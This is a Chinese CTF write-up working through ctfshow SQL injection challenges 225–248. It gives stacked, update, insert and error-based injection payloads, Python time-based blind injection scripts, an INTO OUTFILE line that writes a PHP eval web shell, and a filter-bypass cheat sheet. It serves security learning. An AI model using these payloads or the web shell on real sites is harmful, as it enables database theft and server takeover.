(到群里面下載一個payload.bin文件上傳,訪問1.php,就可以rce)

web 225——堆疊plus

嗚嗚嗚,終於遇到一個能自己做的了

  1. hander
?username=ctfshow';show tables;
?username=ctfshow';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;
  1. 預處理
';prepare yu from concat('sele','ct * from `ctfshow_flagasa`');execute yu;#
  1. show 展示一下表名列名
';show tables;#
';show columns from `ctfshow_flagasa`;#

web 226——堆疊plus

字符串轉16進制在線轉換器

過濾了,handler (),可以用16進制繞過,所以,過濾了,但是沒有完全過濾

我滴媽耶,為什么用16進制的concat不行喃?額,不知道為啥,concat不能夠用;

不過突然繞過彎來,既然已經能夠用hex繞過了,就不用concat了

payload大概長這樣

?username=';prepare yu from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute yu;#

web 227——堆疊-MySQL存儲過程和函數

考察的是MySQL的存儲過程: MySQL——查看存儲過程和函數_時光·漫步的博客-CSDN博客_mysql查看函數命令

講解:

( ctf php sql注入,CTFshow-WEB入門-SQL注入(下)(持續更新)_itwebber的博客-CSDN博客

在 MySQL 中,存儲過程和函數的信息存儲在 information_schema 數據庫下的 Routines 表中,可以通過查詢該表的記錄來查詢存儲過程和函數的信息,其基本的語法形式如下:

SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';

其中,ROUTINE_NAME 字段中存儲的是存儲過程和函數的名稱; sp_name 參數表示存儲過程或函數的名稱。

username=1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu;#

web 228-230

額,代碼給得比較玄乎,換句話說就是,把過濾了的關鍵字函數放到了數據庫里面。沒有給到頁面上。

16進制yyds

?username=';prepare yu from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;execute yu;#

web 231——update

真的有點惱火,就是有點找不到他這個提交參數的位置在什么地方,和提交什么參數

整了很久終於整出來了

先來一手

image-20210823212754563

image-20210823212759005

能夠修改成功,於是就可以通過username來修改值了

查詢表名
password=456',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=4
查詢列名
password=456',username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga')#&username=4
查詢數據
password=456',username=(select group_concat(flagas) from flaga)#&username=4

web 232

與231相同

查數據
password=456'),username=(select group_concat(flagass) from flagaa)#&username=4

web 233——update盲注

唔,,,為啥又不行了呢?看了Y4大佬博客,說的是要盲注,並且看了代碼,唔,太頂了,萬物傑克盲注

import requests
import time

url='http://f7408426-79c8-48e4-96b5-b07e3e905684.challenge.ctf.show:8080/api/'

re=""
# 查數據
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# 查列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'"
payload = "select flagass233 from flag233333"

while True:
    for i in range(3,50):
        head=32
        tail=127        
        
        while head<tail:
            # time.sleep(1)
            mid=(head+tail)>>1
            data={
                'password':'1',
                'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),0)#"
                # 'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#"
              # 'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",
            }
            try:
                r=requests.post(url=url,data=data,timeout=0.9)
                tail=mid
                print("[-]:",data['username'])                
            except Exception as e:
                head=mid+1
                print("[+]:",data['username'])

        if head!=32:
            re+=chr(head)
            print(re)
            print("[*]:",data['username'])

web 234——update,過濾quote——\逃逸

額,說的是沒過濾,看了Y4大佬wp,原來題目將單引號給過濾了,妙啊妙啊

這題可以用\將查詢語句中的單引號過濾掉。原來的語句

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
但是傳入單引號后
$sql = "update ctfshow_user set pass = '\' where username = 'username';";
這樣pass里面的內容就是' where username =,接下來username里面的參數就是可以控制的了

看一眼payload就知道了

查表名
username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=qwer123456\
查列名(雙引號代替單引號)
username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag23a")#&password=qwer123456\
查列名(16進制編碼)
username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167323361)#&password=qwer123456\
查數據
username=,username=(select group_concat(flagass23s3) from flag23a)#&password=qwer123456\

web 235——過濾information_schema

[mysql統計信息,表的信息,類似information_schema](概述MySQL統計信息_Mysql_腳本之家 (jb51.net))

CTF|mysql之無列名注入 - 知乎 (zhihu.com)

查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
查數據——組合
password=\&username=,username=(select concat(`1`,0x2d,`2`,`3`) from (select 1,2,3 union select * from flag23a1 limit 1,1)a);#
查數據——重命名,當`被過濾的時候
password=\
&username=,username=(select `b` from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a);#

web 236——update,過濾flag—to_base64

image-20210824170249438

查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
查數據——組合
password=\&username=,username=(select concat(`1`,0x2d,`2`,0x2d,`3`) from (select 1,2,3 union select * from flaga limit 1,1)a);#

???不是說的過濾了flag嗎?有點沒懂過濾時在什么地方

看了Y4大佬的博客,看到將查詢值to_base64了

"""
Author:Y4tacker
"""
# username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\
# username=,username=(select to_base64(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)-- - &password=\

那么盲猜是對查詢的結果進行了過濾,感覺以前的題目flag是flag{xxxx}的形式,現在是ctfshow{}。所以就直接繞過了

web 237——insert

額,這里就是直接點的添加,在彈出來的窗口中查詢的

在添加數據的時候進行注入

查表名
username=wsnd',(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()));#
password=1
查數據——無列名查詢
wsnd',(select b from (select 1,2 as b,3 union select * from flag limit 1,1)a));#

web 238——insert過濾空格

image-20210824173325856

可以用括號包圍;先貼一個查詢語句,免得下次看的時候以為多加了一個)

查表名
username=wsnd',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#
password=1

妙啊,過濾*,所以只能用常規方式了,其實於是不能用無列名查詢,只是太麻煩了

查列名
username=wsnd',(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flagb')));#
password=1
查數據
username=wsnd',(select(group_concat(flag))from(flagb)));#
password=1

web 239——insert

過濾了空格和or

用上題目試試,插入失敗,盲猜過濾了單引號

image-20210824174754486

image-20210824174800406

果然是過濾了,唔,

image-20210824175047124

還是不行,?難倒不止過濾了單引號?或者是過濾了其它的

唔,原來是過濾了information_schema,用mysql.innodb_table_stats代替

查表名
username=wsnd',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#
&password=2
查數據——別問,問就是猜(爆破)出來的(看下面)
wsnd',(select(flag)from(flagbb)));#

看見群里有師傅在問列名是怎么出來的。然后看到一個感覺可以用二分法猜,當時沒有電腦,而且外賣剛剛到,就沒驗證。

驗證之后發現:

二分法不行,只能夠直接爆破(本質還是才出來的),好在數據庫表名都只能小寫(其實還是很多情況),這里就只演示一下用burp爆破出來的吧(我的代碼能力太弱了,一直找不到時間練習)

爆(猜)表名

已知了列名,並且知道注入姿勢

接下來:

burp抓包:

image-20211009150036172

設置payload:

image-20211009150345481

開始爆破,同時不斷刷新頁面,因為返回值解碼后都是插入成功,所以沒有辦法通過length判斷flag是否出來

注意:只有正確(數據庫中存在)的列名查詢出結果后才會添加到列表中,數據沒有的列名查不出數據,其結果為空,不會添加到列表中

當跑到這里2000左右的時候出來了flag

image-20211009150614540

brup大概就這么做的;

如果是寫代碼的話,大概要寫兩個進程,一個進程用來一直爆破列名,一個進程隔幾秒檢測一下頁面是否有flag。感覺起碼得有個什么半個多小時吧。主要俺不會寫代碼,俺也不知道具體多久。大概要跑1679616條數據。

web 240

唔,額,看了下題和提示,直接放棄,

不用想都知道沒法查表名了,而且也不知道列名,,,,

看了看Y4大佬博客,大佬的意思是,列名就是flag,爆破表名就行,

唔,於是大佬寫了一個pyhton腳本,額,我這里就用bp了,我比較喜歡用bp,代碼寫得太爛了

image-20210824182145583

image-20210824182312852

回來刷新一下

image-20210824182328063

貼一下Y4大佬的代碼

"""
Author:Y4tacker
"""
import random
import requests

url = "http://35963b4d-3501-4bf2-b888-668ad24e1bc5.chall.ctf.show"
url_insert = url + "/api/insert.php"
url_flag = url + "/api/?page=1&limit=1000"


# 看命函數
def generate_random_str():
    sttr = 'ab'
    str_list = [random.choice(sttr) for i in range(5)]
    random_str = ''.join(str_list)
    return random_str


while 1:
    data = {
        'username': f"1',(select(flag)from(flag{generate_random_str()})))#",
        'password': ""
    }
    r = requests.post(url_insert, data=data)
    r2 = requests.get(url_flag)
    if "flag" in r2.text:
        for i in r2.json()['data']:
            if  "flag" in i['pass']:
                print(i['pass'])
                break
        break

web 241

我用的盲注的方法,只會盲注,順帶提一下,時間盲注,yyds,

時間盲注的sleep是sleep數據庫

import requests
import time

url="http://b28fa04e-5c97-4b65-80f6-ba4a535707a6.challenge.ctf.show:8080/api/delete.php"

re=""

payload="select database()"
payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=''"
# payload="select group_concat() from "

while True:
    for i in range(1,60):
        head=32
        tail=127
        while head<tail:
            # time.sleep(1)
            # 這個可以稍微設低一點,我主要是想跑一次對一次,不想跑第二次(當然事與願違了)
            mid=(head+tail)>>1
            data={
                'id':f"if((ascii(substr(({payload}),{i},1)))>{mid},3,sleep(0.05))"
            }
            try:
                r=requests.post(url=url,data=data,timeout=0.9)
                head=mid+1
                print('[+]'+data['id'])
            except Exception as e:
                tail=mid
                print('[-]'+data['id'])
                
        if head!=32:
            re+=chr(head)
            print(re)
            print('[*]'+data['id'])

哇塞,真的想請教一下師傅們,這個超時時間哪么算,嗚嗚嗚

有點出乎意料的是:一個id可以重復提交

web 242——給導入的文件加上內容

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

“OPTION”參數為可選參數選項,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:設置字符串為字段之間的分隔符,可以為單個或多個字符。默認值是“\t”。

`FIELDS ENCLOSED BY '字符'`:設置字符來括住字段的值,只能為單個字符。默認情況下不使用任何符號。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:設置字符來括住CHAR、VARCHAR和TEXT等字符型字段。默認情況下不使用任何符號。

`FIELDS ESCAPED BY '字符'`:設置轉義字符,只能為單個字符。默認值為“\”。

`LINES STARTING BY '字符串'`:設置每行數據開頭的字符,可以為單個或多個字符。默認情況下不使用任何字符。

`LINES TERMINATED BY '字符串'`:設置每行數據結尾的字符,可以為單個或多個字符。默認值是“\n”。
payload

filename=yu.php'LINES STARTING BY "<?php eval($_POST[yu]);?>";#

web 243

過濾了php,可以利用文件包含的方式做題

由於是nginx的,所以先整一個auto_prepend_file=1.txt

接着1.txt中寫入一句話木馬

最后訪問就行,但是,我做不出來,一直404,403,405。。。先去做一下244壓壓驚。

web 244

報錯注入

測試
1' or extractvalue(rand(),concat(0x2c,(select database())));--+
查表名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+
查列名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='ctfshow_flag')));--+
查數據--1
1' or extractvalue(rand(),concat(0x2c,(select group_concat(flag)from ctfshow_flag)));--+
查數據--2
1' or extractvalue(rand(),concat(0x2c,substr((select group_concat(flag)from ctfshow_flag),20,42)));--+

得到兩個,憑借下

ctfshow{810c66fb-5e90-4066-b04f
90-4066-b04f-192b27564336}

從bitimg那里看到了點好東西,太頂了

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

web 245

唔,老老實實用extractvlue吧。。。

查表名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+
查列名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='ctfshow_flagsa')));--+
查數據--1
1' or extractvalue(rand(),concat(0x2c,(select group_concat(flag1)from ctfshow_flagsa)));--+
查數據--2
1' or extractvalue(rand(),concat(0x2c,substr((select group_concat(flag1)from ctfshow_flagsa),20,42)));--+
flag 拼接
ctfshow{8fd8dcb4-e4fd-4ee9-99e9-06844817ecf3}
fd-4ee9-99e9-06844817ecf3}

web 246

從bit爺那里抄來的第一個報錯方式可以用

查表名
1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
查列名
1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flags" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
查數據
1' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a);--+

web 247

用floor代替ceil,馬上兩點了,有點昏了,是用ceil代替floor,bit爺太頂了

查表名
1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
查列名
1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagsa" limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
查數據
1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+

話說回來了,才注意到bit爺用的雙注入,趕緊抄一波

' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa limit 0,1),ceil(rand(0)*2))a from information_schema.columns group by a-- -

web 248

堆疊注入

image-20210825105345026


額,查了一遍發現,flag?中是flag not here。

於是試了一手寫入木馬,結果不行;查詢后發現,@@secure_file_priv: null就是不能寫入文件

sql注入常見方法及udf提權_whojoe的博客-CSDN博客_udf注入

接着還是就不會了

CTFshow---WEB入門---(SQL注入)171-253 WP - Bit's Blog (xl-bit.cn)

過濾

1. 過濾關鍵字

  1. 大小寫繞過 web 176

2.過濾空格

  1. 利用/**/繞過 web 177
  2. %09 %0a %0b %0c %0d繞過 web178
  3. 利用用括號包括表名,where語句等 web183 web 238

3.過濾where,ord,ascii等限定字符

  1. as +right join+substr(b.pass,1,1)regexp(char(46)) web 184
  2. web 192

4.過濾數字或者字符

情況1:查詢結果對數字進行過濾:利用替代 web

情況2:payload對數字進行過濾:利用true相加構造數字 web185

5.md5加密

  1. [SQL繞過]md5($str,true)類型繞過----題目來源CTFSHOW---web9_Y4tacker的博客-CSDN博客](https://blog.csdn.net/solitudi/article/details/107813286?ops_request_misc={"request_id"%3A"160631731619195283021913"%2C"scm"%3A"20140713.130102334.pc_blog."}&request_id=160631731619195283021913&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_v2~rank_blog_default-1-107813286.pc_v2_rank_blog_default&utm_term=md5 _POST password ,true&spm=1018.2118.3001.4450) web 187

后綴

'
')
''
'')
"
")
"")

編碼:

to_base64hex()
replace(to_base64(password),1,'testa')

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb')
,3,'testc')
,4,'testd')
,5,'teste')
,6,'testf')
,7,'testg')
,8,'testh')
,9,'testi')
,0,'testj')
,1,'testa')


Y3Rmc2hvd3syNmU1Zjk1My1lZDhiLTQ4NGEtYjE2Ny0wZjU3OTM1MmRkYmN9

新姿勢:

  1. 利用正則表達式進行盲注
tableName=`ctfshow_user`where(`pass`regexp('a'))
web 183
  1. 利用正則實現where功能
tableName=ctfshow_user as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(46))web 184
  1. 利用true相加得到指定數字
ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,true,true) regexp(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)))
web 185
  1. 對於只能夠輸入數字的位置,可以采用盲注
導入存在flag的文件並且對齊盲注
"if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(str(i), str(mid)
web 189
  1. 盲注可以直接用regexp進行匹配,不需要進行截斷
admin' and if((select group_concat(f1ag)from ctfshow_flxg)regexp('ctfshow{da6fy'),1,0)=1#
web 193 web 194
  1. \逃逸
`$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";`
但是傳入單引號后
`$sql = "update ctfshow_user set pass = '\' where username = 'username';";`
這樣pass里面的內容就是' where username =,接下來username里面的參數就是可以控制的了
  1. 無列名查詢
查數據——組合password=\&username=,username=(select concat(`1`,0x2d,`2`,`3`) from (select 1,2,3 union select * from flag23a1 limit 1,1)a);
#查數據——重命名,當`被過濾的時候password=\&username=,username=(select `b` from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a);#
web 235

sql 無列名注入_xiaolong22333的博客-CSDN博客

sqlmap

做一個簡單的記錄

--data="id=1"	直接觸發POST傳參
--headers=""
--method=""
--cookie=""		"PHPSESSID=a8d127e.."

bit爺的報錯注入

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

看過的博客

前女友發來加密的 “520快樂.pdf“,我用python破解開之后,卻發現。。。_lexsaints-CSDN博客

前女友婚禮,python破解婚禮現場的WIFI,把名稱改成了_lexsaints-CSDN博客

ctf php sql注入,CTFshow-WEB入門-SQL注入(下)(持續更新)_itwebber的博客-CSDN博客

CTFshow-WEB入門-SQL注入(中)_feng的博客-CSDN博客

MySQL——查看存儲過程和函數_時光·漫步的博客-CSDN博客_mysql查看函數命令

概述MySQL統計信息_Mysql_腳本之家 (jb51.net)

CTF|mysql之無列名注入 - 知乎 (zhihu.com)

sql 無列名注入_xiaolong22333的博客-CSDN博客太頂了,又學習了

sql注入常見方法及udf提權_whojoe的博客-CSDN博客_udf注入師傅們頂呱呱

感受:

各種大佬們太頂了太頂了,師傅們頂瓜瓜。

貓貓真可愛,我是真的菜


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM